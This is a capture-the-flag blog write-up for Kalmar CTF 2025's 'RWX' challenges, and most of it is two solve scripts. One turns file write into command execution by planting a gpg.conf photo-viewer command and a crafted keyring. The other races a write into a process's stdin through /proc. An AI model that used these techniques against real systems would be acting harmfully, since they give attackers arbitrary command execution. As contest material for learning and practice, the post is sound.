[Misc] RWX [Kalmar CTF 2025]

A post that records wp.

0x00 Introduction

TBD

Files

rwx-bronze.zip
rwx-silver.zip
rwx-gold.zip
rwx-diamond.zip

0x01 RWX - Bronze

We give you file read, file write and code execution. But can you get the flag? Let’s start out gently.

writeup

0x02 RWX - Silver

We give you file read, file write and code execution. But can you get the flag? Apparently that was too much!

writeup

0x03 RWX - Gold

We give you file read, file write and code execution. But can you get the flag? Let’s reduce that.

writeup

Writeup script from discord :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
#-*- coding: utf-8 -*-

import sys
from base64 import b64decode

import requests
from urllib.parse import quote

# baseuri = 'http://127.0.0.1:6664'
baseuri = 'https://e7670e20cc2473544d7f83208eac8ba3-42112.inst2.chal-kalmarc.tf'

def rwx_read(filename):
uri = f'{baseuri}/read'
uri_param = {"filename": filename}
response = requests.get(uri, params=uri_param)
return response.text

def rwx_write(filename, content):
uri = f'{baseuri}/write'
uri_param = {'filename': filename}
response = requests.post(uri, params=uri_param, data=content)
return response.text

def rwx_exec(cmd):
uri = f'{baseuri}/exec'
uri_param = {'cmd': quote(cmd)}
response = requests.get(uri, params=uri_param)
return response.text

def main():
# Gold
result = rwx_exec('gpg')
print(result)

gpg_conf_content = (
'list-options show-photos\n'
'photo-viewer /would you be so kind to provide me with a flag > /tmp/x\n'
'list-keys\n'
)
result = rwx_write('/home/user/.gnupg/gpg.conf', gpg_conf_content)
print(result)

# pubring_kbx = Path.home()/'.gnupg'/'pubring.kbx'
# pubring_data = pubring_kbx.read_bytes()
# pubring_data = bytes([])
pubring_data = b64decode(b'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')
result = rwx_write('/home/user/.gnupg/pubring.kbx', pubring_data)
print(result)

result = rwx_exec('gpg')
print(result)

flag = rwx_read('/tmp/x')
print(flag)

return 0
# kalmar{so_many_rabbit_holes_to_get_stuck_in_but_luckily_you_found_a_way_to_view_that_picture_678cac2678d0}

if __name__ == '__main__':
sys.exit(main())

0x04 RWX - Diamond

We give you file read, file write and code execution. But can you get the flag? Let’s increase it! But remove that!

writeup

Writeup script form discord

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
URL = "http://localhost:6664"
URL = "https://ba7e4676f3127c778d22984e60fda234-50360.inst2.chal-kalmarc.tf"
CMD = "/would you be so kind to provide me with a flag"

import requests, threading, time, re

def fun_fd():
global pid
requests.post(f"{URL}/write?filename=/proc/{pid}/fd/0", data=CMD)

def fun_cmd():
global res
res = requests.get(f"{URL}/exec", params={"cmd": "w|sh"}).text

while True:
r = requests.get(f"{URL}/exec", params={"cmd": "ps"}).text
print(r)
for l in r.splitlines():
if "ps" in l:
pid = int(l.split()[0])
break
pid += 4
print(pid)
race_cmd = threading.Thread(target=fun_cmd)
race_fd = threading.Thread(target=fun_fd)

race_fd.start(); race_cmd.start()
race_cmd.join(); race_fd.join()

if "kalmar{" in res: print(res); break
time.sleep(0.1)
# kalmar{that_was_much_harder_than_you_thought_at_first_but_we_must_finally_admit_defeat_baeb4335fa12}

[Misc] RWX [Kalmar CTF 2025]
http://xciphand.github.io/2025/03/12/Misc-RWX-Kalmar-CTF-2025/
作者
xciphand
发布于
2025年3月12日
许可协议